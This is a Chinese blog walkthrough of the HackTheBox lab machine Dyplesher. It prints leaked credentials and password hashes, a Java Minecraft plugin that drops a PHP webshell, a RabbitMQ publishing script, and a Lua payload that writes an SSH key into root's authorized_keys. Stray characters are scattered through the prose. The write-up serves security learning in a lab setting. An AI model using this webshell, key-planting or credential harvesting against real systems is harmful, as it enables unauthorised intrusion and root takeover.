hackthebox-Dyplesher

Dyplesher靶機(jī)是自己第一次完成的現(xiàn)役insane難度htb靶機(jī)。靶機(jī)涉及的服務(wù)相對(duì)比較多,包括web,gogs,minecraft,memcache等等拟烫。不過(guò)說(shuō)實(shí)話做完后感覺(jué)難度跟Travel差不多,到不了insane難度。可能主要是里面的Java知識(shí)對(duì)于大部分人來(lái)說(shuō)偏繁瑣了÷в總體上感覺(jué)還是不錯(cuò)的。這里還是簡(jiǎn)單記錄下過(guò)程以及提權(quán)部分學(xué)到的知識(shí)吧静檬。

  • 靶機(jī)ip:10.10.10.190
  • kaliip: 10.10.14.23

ps:10.29 靶機(jī)已退役

initial foothold

首先是nmap基本掃描得到三個(gè)端口22,80,3000.進(jìn)一步掃描發(fā)現(xiàn)還有其他幾個(gè)端口炭懊。4369(epmd),5672(amqp),11211等并级。

其中11211是memcache對(duì)應(yīng)端口。之前在travel中用過(guò),所以印象比較深刻侮腹。不過(guò)這里還是簡(jiǎn)單從低端口開(kāi)始審計(jì)嘲碧。

首先web80端口發(fā)現(xiàn)提示這里可能跟mc相關(guān)。從cookie的配置可以看出似乎使用了laravel框架凯旋。因?yàn)槭呛诤兴圆淮_定是否能用RCE打呀潭。

接下來(lái)首頁(yè)還提示了我們一個(gè)子域名test.dyplesher.htb。加到hosts中至非。

頁(yè)面的/staff有三個(gè)用戶名

這三個(gè)用戶名在后面會(huì)經(jīng)常出現(xiàn)钠署。

接下來(lái)頁(yè)面信息收集完了。我們爆破下路徑荒椭。發(fā)現(xiàn)存在/login頁(yè)面谐鼎。簡(jiǎn)單嘗試登錄未果,看來(lái)需要另外收集信息,或者login不是目的。

3000端口是個(gè)gogs服務(wù)趣惠。提供git的話看來(lái)是又有信息泄露了狸棍。不過(guò)同樣我們沒(méi)有可用的信息。不過(guò)gogs倒是在users處提示我們有剛剛上面的三個(gè)用戶味悄。

接下來(lái)去往test.dyplesher.htb.頁(yè)面只接受兩個(gè)參數(shù),似乎是在判斷你的兩個(gè)輸入是否一致草戈。然后嘗試注入也未果。

繼續(xù)掃目錄侍瑟。得到.git泄露唐片。使用githackdump下來(lái)。
得到index.php源碼

<HTML>
<BODY>
<h1>Add key and value to memcache<h1>
<FORM METHOD="GET" NAME="test" ACTION="">
<INPUT TYPE="text" NAME="add">
<INPUT TYPE="text" NAME="val">
<INPUT TYPE="submit" VALUE="Send">
</FORM>

<pre>
<?php
if($_GET['add'] != $_GET['val']){
        $m = new Memcached();
        $m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
        $m->setSaslAuthData("felamos", "zxcvbnm");
        $m->addServer('127.0.0.1', 11211);
        $m->add($_GET['add'], $_GET['val']);
        echo "Done!";
}
else {
        echo "its equal";
}
?>
</pre>

</BODY>
</HTML>

得到一組memcache賬戶涨颜。嘗試web頁(yè)面的登錄未果费韭。于是直接連接memcache.此處我們使用nodejs的memcache-cli.npm全局下載即可。

memcache-cli felamos:zxcvbnm@10.10.10.190:11211 

連接上后收集到三個(gè)用戶名(還是上面三個(gè)人)以及三個(gè)bcrypt密碼庭瑰。

$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS

hashcat爆破之.只得到一組felamos密碼mommy1星持。

繼續(xù)用這組賬戶嘗試登錄。最后在gogs處登錄成功弹灭。在80端口仍然不能登錄,一度讓我以為那個(gè)登錄是假的督暂。

審查用戶felamos的倉(cāng)庫(kù)。只有g(shù)itlab跟memcached兩個(gè)穷吮。其中memcached的我們已經(jīng)收集過(guò)了逻翁。gitlab倉(cāng)庫(kù)發(fā)現(xiàn)沒(méi)有內(nèi)容,但是有release.

下載release中的repo.zip(20mb下了快半小時(shí)......難受)并解壓。

root@byc404:~/htb/boxes/Dyplesher/git/repositories# find .
.
./@hashed
./@hashed/4e
./@hashed/4e/07
./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
./@hashed/6b
./@hashed/6b/86
./@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
./@hashed/4b
./@hashed/4b/22
./@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
./@hashed/d4
./@hashed/d4/73
./@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle

這里有.bundle文件酒来。我們單獨(dú)拿出來(lái)并git clone。

#!/bin/bash

for i in $(find ../repositories | grep bundle)
do
        git clone $i
done

bundle clone完后的內(nèi)容就有點(diǎn)多了肪凛。同樣簡(jiǎn)單看下四個(gè)倉(cāng)庫(kù)的內(nèi)容,有的是跟mc有關(guān)堰汉。有的是phpbashshell有關(guān)辽社。再次find下找到一個(gè)sqlite的db文件users.db。直接進(jìn)入db.select * from users.
得到

18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81

又是一個(gè)bcrypt密碼翘鸭。再度hashcat破解得到alexis1

這次我們終于能登錄進(jìn)80端口的頁(yè)面了滴铅。進(jìn)入后發(fā)現(xiàn)是一個(gè)控制臺(tái)。里面顯示的是mc信息就乓。然后功能包括上傳plugin跟重新加載指定plugin.

emm雖然沒(méi)玩過(guò)正版mc但是至少知道它是java寫(xiě)的汉匙。我在網(wǎng)上找了下發(fā)現(xiàn)有非常全面的指南。感覺(jué)就算不會(huì)java的人也能跟著做了生蚁。當(dāng)然這里我剛好前一天簡(jiǎn)單學(xué)習(xí)了下maven的使用噩翠。所以就idea直接上手maven項(xiàng)目。

具體參考這篇文章,我就簡(jiǎn)單做下解釋,當(dāng)做idea學(xué)習(xí)筆記了邦投。

首先是pom.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>top.bycsec</groupId>
    <artifactId>java_mc_exp</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>10</java.version>
        <maven.compiler.source>10</maven.compiler.source>
        <maven.compiler.target>10</maven.compiler.target>
    </properties>
    <repositories>
        <repository>
            <id>spigotmc-repo</id>
            <url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
        </repository>
    </repositories>

    <dependencies>
        <dependency>
            <groupId>org.spigotmc</groupId>
            <artifactId>spigot-api</artifactId>
            <version>1.16.1-R0.1-SNAPSHOT</version>
            <scope>provided</scope>
        </dependency>
    </dependencies>

</project>

groupID這種建項(xiàng)目前就應(yīng)該已經(jīng)讓我們自己配置好了伤锚。我按照正常標(biāo)準(zhǔn)定為top.bycsec.然后下面properties的設(shè)定是一個(gè)小坑。因?yàn)樽约篿dea的jdk版本跟系統(tǒng)不一致,然后還有系統(tǒng)的語(yǔ)言level水平等等問(wèn)題志衣。導(dǎo)致maven編譯時(shí)會(huì)出現(xiàn)報(bào)錯(cuò)"不支持發(fā)行版本5".經(jīng)常改完了配置還是報(bào)錯(cuò)屯援。解決方法只有像上面那樣按照自己的標(biāo)準(zhǔn)配置pom.xml才能避免報(bào)錯(cuò)。

下面的倉(cāng)庫(kù)是spigot 給mc用的maven倉(cāng)庫(kù)念脯。我們會(huì)用到的spigot-api得去對(duì)應(yīng)的倉(cāng)庫(kù)下載狞洋。

然后最終完整的目錄結(jié)構(gòu)如下。


resources即外部資源包中需要plugin.yml來(lái)指定plugin信息绿店。這里非常重要吉懊。因?yàn)槲覀兒竺嬉玫絧lugin的命字。其中似乎不能包含_這樣的字符惯吕。所以直接取一個(gè)正常的名字惕它。

然后是main下編寫(xiě)。這里我們因?yàn)椴皇怯玫膍vn創(chuàng)建的,是不會(huì)指定包的废登。所以我們自己建個(gè)包top.bycsec.plugin并新建PluginExp作為要加載的主類(lèi)淹魄。同時(shí)plugin.yml中也將這個(gè)類(lèi)指定為加載的主類(lèi)。

接下來(lái)是利用類(lèi)的編寫(xiě)

package top.bycsec.plugin;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;


public class PluginExp extends JavaPlugin {

    @Override
    public void onEnable() {
        final String code="<?php @system($_REQUEST[byc]);?>";
        try {
            File file = new File("/var/www/html/bycshell.php");
            if (!file.exists()) {
                File dir = new File(file.getParent());
                dir.mkdirs();
                file.createNewFile();
            }
            FileOutputStream outStream = new FileOutputStream(file);
            outStream.write(code.getBytes());
            outStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        super.onEnable();
    }

    @Override
    public void onDisable() {
        super.onDisable();
    }
}

首先注意插件類(lèi)必須繼承JavaPlugin堡距。這個(gè)maven下載依賴時(shí)會(huì)幫我們下好甲锡。然后只需重寫(xiě)兩個(gè)方法即可。我們使用onEnable插入惡意代碼,這樣就可以在插件生效時(shí)直接執(zhí)行羽戒。

這里選擇寫(xiě)入webshell原因有點(diǎn)多缤沦。首先題目靶機(jī)居然是不通外網(wǎng)的。這個(gè)我真沒(méi)想到易稠。其次java項(xiàng)目大多配置好了一些禁止類(lèi)缸废。runtime很有可能是行不通的。所以我選擇直接寫(xiě)入webshell(猜了一手laravel對(duì)應(yīng)的就是html文件夾而不是dyplesher.htb)

最后完成后我們使用maven編譯打包。直接雙擊右邊maven的生命周期中的package即可創(chuàng)建對(duì)應(yīng)jar file.


回到網(wǎng)頁(yè)上傳plugin并使用plugin名byc404 reload.


寫(xiě)入webshell.

然后到這一步后才真正意識(shí)到靶機(jī)不通外網(wǎng)企量。所以常規(guī)彈shell不可行测萎。只能?chē)L試寫(xiě)入ssh公鑰。


成功登陸届巩。


小結(jié)下硅瞧。這一部分難度其實(shí)還好。主要時(shí)間都花在爆破密碼以及編寫(xiě)java的exp時(shí)被idea的報(bào)錯(cuò)給困擾了一小會(huì)上了恕汇。但是老實(shí)說(shuō)確實(shí)沒(méi)有什么難度腕唧。正好讓自己把剛學(xué)的maven鞏固了一下。一舉兩得瘾英。

privesc to user

簡(jiǎn)單看下user文件夾下果不其然還有yuntaofelamos兩個(gè)用戶

接下來(lái)在使用MinatoTW的id時(shí)發(fā)現(xiàn)一個(gè)重要信息

uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark)

MinatoTW是wireshark用戶組的枣接。也就是說(shuō)我們可以用靶機(jī)上的wireshark抓包。確認(rèn)了下網(wǎng)卡應(yīng)該是lo.(lo代表127.0.0.1方咆,即localhost)

tshark -i lo -F pcap -w byc.pcap

抓一段時(shí)間的包后用wireshark打開(kāi)分析.跟下tcp流

很快就能抓到關(guān)鍵信息

AMQPLib.platformS....PHP.versionS....2.11.1.informationS....    copyrightS.....capabilitiesF.....authentication_failure_closet..publisher_confirmst..consumer_cancel_notifyt..exchange_exchange_bindingst.
basic.nackt..connection.blockedt..AMQPLAIN...,.LOGINS....yuntao.PASSWORDS...
EashAnicOc3Op.en_US.

這一段似乎是AMQP的通信內(nèi)容月腋。其中有一組用戶密碼yuntao:EashAnicOc3Op

并且緊接著下面就有多組用戶信息。似乎來(lái)自于mc



{"name":"MinatoTW","email":"MinatoTW@dyplesher.htb","address":"India","password":"bihys1amFov","subscribed":true}
{"name":"yuntao","email":"yuntao@dyplesher.htb","address":"Italy","password":"wagthAw4ob","subscribed":true}
{"name":"felamos","email":"felamos@dyplesher.htb","address":"India","password":"tieb0graQueg","subscribed":true}

經(jīng)測(cè)試發(fā)現(xiàn)這三組密碼均為系統(tǒng)用戶密碼瓣赂。
su后即可在felamos文件夾下拿到user.txt

privesc to root

接下來(lái)在felamos有一個(gè)yuntao的文件夾榆骚。里面寫(xiě)著send.sh

#!/bin/bash

echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' >  /dev/pts/{}

cuberite plugins 是以lua語(yǔ)言編寫(xiě)的插件。而這里的信息似乎在提示我們可以編寫(xiě)惡意lua插件來(lái)進(jìn)行privesc.并且提示說(shuō)只要提供lua的url地址就可以將插件加入服務(wù)煌集。

"Exchange" and "Queue" 的含義在我進(jìn)行了一些簡(jiǎn)單的enum后發(fā)現(xiàn)應(yīng)該是AMQP所用到的妓肢。由于我們一開(kāi)始就發(fā)現(xiàn)AMQP端口是對(duì)外的,而且剛剛wireshark抓到了一組yuntao的賬戶還沒(méi)用上。極大可能就是利用amqp去進(jìn)行通信加載lua插件苫纤。

這里靶機(jī)上跑著的是RabbitMQ.而RabbitMQ默認(rèn)是root權(quán)限跑的碉钠。并且我們可以在靶機(jī)上找到運(yùn)行信息。

我們看看一套 MQ 完整流程是什么樣的:

首先將 RabbitMQ 服務(wù)啟動(dòng)

Producer

1卷拘、創(chuàng)建一個(gè) connection
2喊废、在 connection 基礎(chǔ)上創(chuàng)建一個(gè)頻道 channel
3、在頻道 channel 上聲明一個(gè) exchange栗弟,參數(shù)為 exchange 的類(lèi)型和名稱(chēng)
4污筷、在頻道 channel 上發(fā)布消息,參數(shù)為 exchange 的名稱(chēng)以及路由 (routing_key) 以及消息體
5乍赫、關(guān)閉 connection

這里我們可以推測(cè)前面的提示中plugin_data可能就是路由瓣蛀。而我們要傳遞的消息體就是lua的url.接下來(lái)我們使用python 的pika進(jìn)行編寫(xiě)

import pika


creds=pika.PlainCredentials('yuntao','EashAnicOc3Op')
params=pika.Connectionparams('10.10.10.190',5672,'/',creds)
conn=pika.BlockingConnection(params)

channel = conn.channel()
channel.basic_publish(exchange='', routing_key='plugin_data',body="http://127.0.0.1:9001/exp.lua")
conn.close()

然后準(zhǔn)備一個(gè)惡意的lua腳本。由于lua反彈shell我發(fā)現(xiàn)似乎都是不交互的雷厂,所以選擇寫(xiě)ssh key

f=io.open("/root/.ssh/authorized_keys", "w")
f:write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1dF791Ph8rC/PU4fXFjW4rBuU8JbmozNWx1kll3NA5r/vhpG05UZ/7dl8+Hs+bbnv/4TMferXgPj27QFJNGBuEfM+ZVO9ah5QNTwrO26vlCP885GyO0RoAoFM0ZNQaYfim1j6zrnplgWtJ7rIHRyrxt6ZDCFq7hGQm8CQP1xbVeaYoYYYHAVVt3IxDbeHh5pJsZDNvzsh1RZNCQlLdwvpoDdWhNPYq+lNYWSjGmW9nMVgQzcY1rk2IEf0Cg5NbZyFtBHITEG0myWIEXtg8D+t9f3IZbgzjaXkN4lVbGAGhNHvfrCemrmTWCbfpuoSS7mE65qfo87yVJdxwWYbx47fe0FMGtDBexa/+WyRApN+E/n3D+Dk56bnzSWiWzzxQptxJVPnM+txWOA6aixGb0PJpO1Wa2S29kg1C4GLNaEKXupursO7Vewq4ZCyzQmeWi2g8BljNqjIA89C9v2cRyFx+lIILxwNn2xbjVVf/WYjcE3lXLpqqz2CzCfuR+4xbSU= root@byc404")
f:close()

在靶機(jī)上起個(gè)python監(jiān)聽(tīng)9001,然后kali運(yùn)行腳本惋增。看到靶機(jī)上獲取到lua腳本后就可以root ssh登錄了改鲫。
rooted.


summary

insane難度的靶機(jī)首先確實(shí)有一定難度诈皿。不過(guò)整體上我感覺(jué)跟travel難度差不多林束。主要enum的過(guò)程沒(méi)有那么枯燥,而利用起來(lái)的難度也沒(méi)那么高。但是總歸還是很有水平的靶機(jī)稽亏。需要我們耐心的去整合信息并學(xué)習(xí)新知識(shí)诊县。編寫(xiě)mc跟lua插件都是在提醒我們不要允許用戶擅自添加自己的插件,否則就可能帶來(lái)漏洞利用措左。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市避除,隨后出現(xiàn)的幾起案子怎披,更是在濱河造成了極大的恐慌,老刑警劉巖瓶摆,帶你破解...
    沈念sama閱讀 222,946評(píng)論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件凉逛,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡群井,警方通過(guò)查閱死者的電腦和手機(jī)状飞,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,336評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)书斜,“玉大人诬辈,你說(shuō)我怎么就攤上這事〖黾” “怎么了焙糟?”我有些...
    開(kāi)封第一講書(shū)人閱讀 169,716評(píng)論 0 364
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)样屠。 經(jīng)常有香客問(wèn)我穿撮,道長(zhǎng),這世上最難降的妖魔是什么痪欲? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 60,222評(píng)論 1 300
  • 正文 為了忘掉前任悦穿,我火速辦了婚禮,結(jié)果婚禮上业踢,老公的妹妹穿的比我還像新娘栗柒。我一直安慰自己,他們只是感情好陨亡,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,223評(píng)論 6 398
  • 文/花漫 我一把揭開(kāi)白布傍衡。 她就那樣靜靜地躺著,像睡著了一般负蠕。 火紅的嫁衣襯著肌膚如雪蛙埂。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 52,807評(píng)論 1 314
  • 那天遮糖,我揣著相機(jī)與錄音绣的,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛屡江,可吹牛的內(nèi)容都是我干的芭概。 我是一名探鬼主播,決...
    沈念sama閱讀 41,235評(píng)論 3 424
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼惩嘉,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼罢洲!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起文黎,我...
    開(kāi)封第一講書(shū)人閱讀 40,189評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤惹苗,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后耸峭,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體桩蓉,經(jīng)...
    沈念sama閱讀 46,712評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,775評(píng)論 3 343
  • 正文 我和宋清朗相戀三年劳闹,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了院究。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,926評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡本涕,死狀恐怖业汰,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情菩颖,我是刑警寧澤蔬胯,帶...
    沈念sama閱讀 36,580評(píng)論 5 351
  • 正文 年R本政府宣布,位于F島的核電站位他,受9級(jí)特大地震影響氛濒,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜鹅髓,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,259評(píng)論 3 336
  • 文/蒙蒙 一舞竿、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧窿冯,春花似錦骗奖、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,750評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至芜赌,卻和暖如春仰挣,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背缠沈。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,867評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工膘壶, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留错蝴,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,368評(píng)論 3 379
  • 正文 我出身青樓颓芭,卻偏偏與公主長(zhǎng)得像顷锰,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子亡问,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,930評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容

  • 用到的組件 1官紫、通過(guò)CocoaPods安裝 2、第三方類(lèi)庫(kù)安裝 3州藕、第三方服務(wù) 友盟社會(huì)化分享組件 友盟用戶反饋 ...
    SunnyLeong閱讀 14,629評(píng)論 1 180
  • Travel這臺(tái)靶機(jī)真的是做hackthebox以來(lái)遇到的最佳靶機(jī)了万矾。相比之前因?yàn)閜wn的知識(shí)而根本沒(méi)法下手的一些...
    byc_404閱讀 539評(píng)論 0 1
  • 前言 初入docker門(mén)的新人,容器化概念越來(lái)越流行慎框,希望這篇小白文能幫助到想使用docker做部署的大家。其中有...
    YaphetK閱讀 4,151評(píng)論 0 28
  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理后添,服務(wù)發(fā)現(xiàn)笨枯,斷路器,智...
    卡卡羅2017閱讀 134,719評(píng)論 18 139
  • Awesome GitHub Topic for Go Awesome Go golang-open-source...
    Liam_ml閱讀 3,723評(píng)論 2 14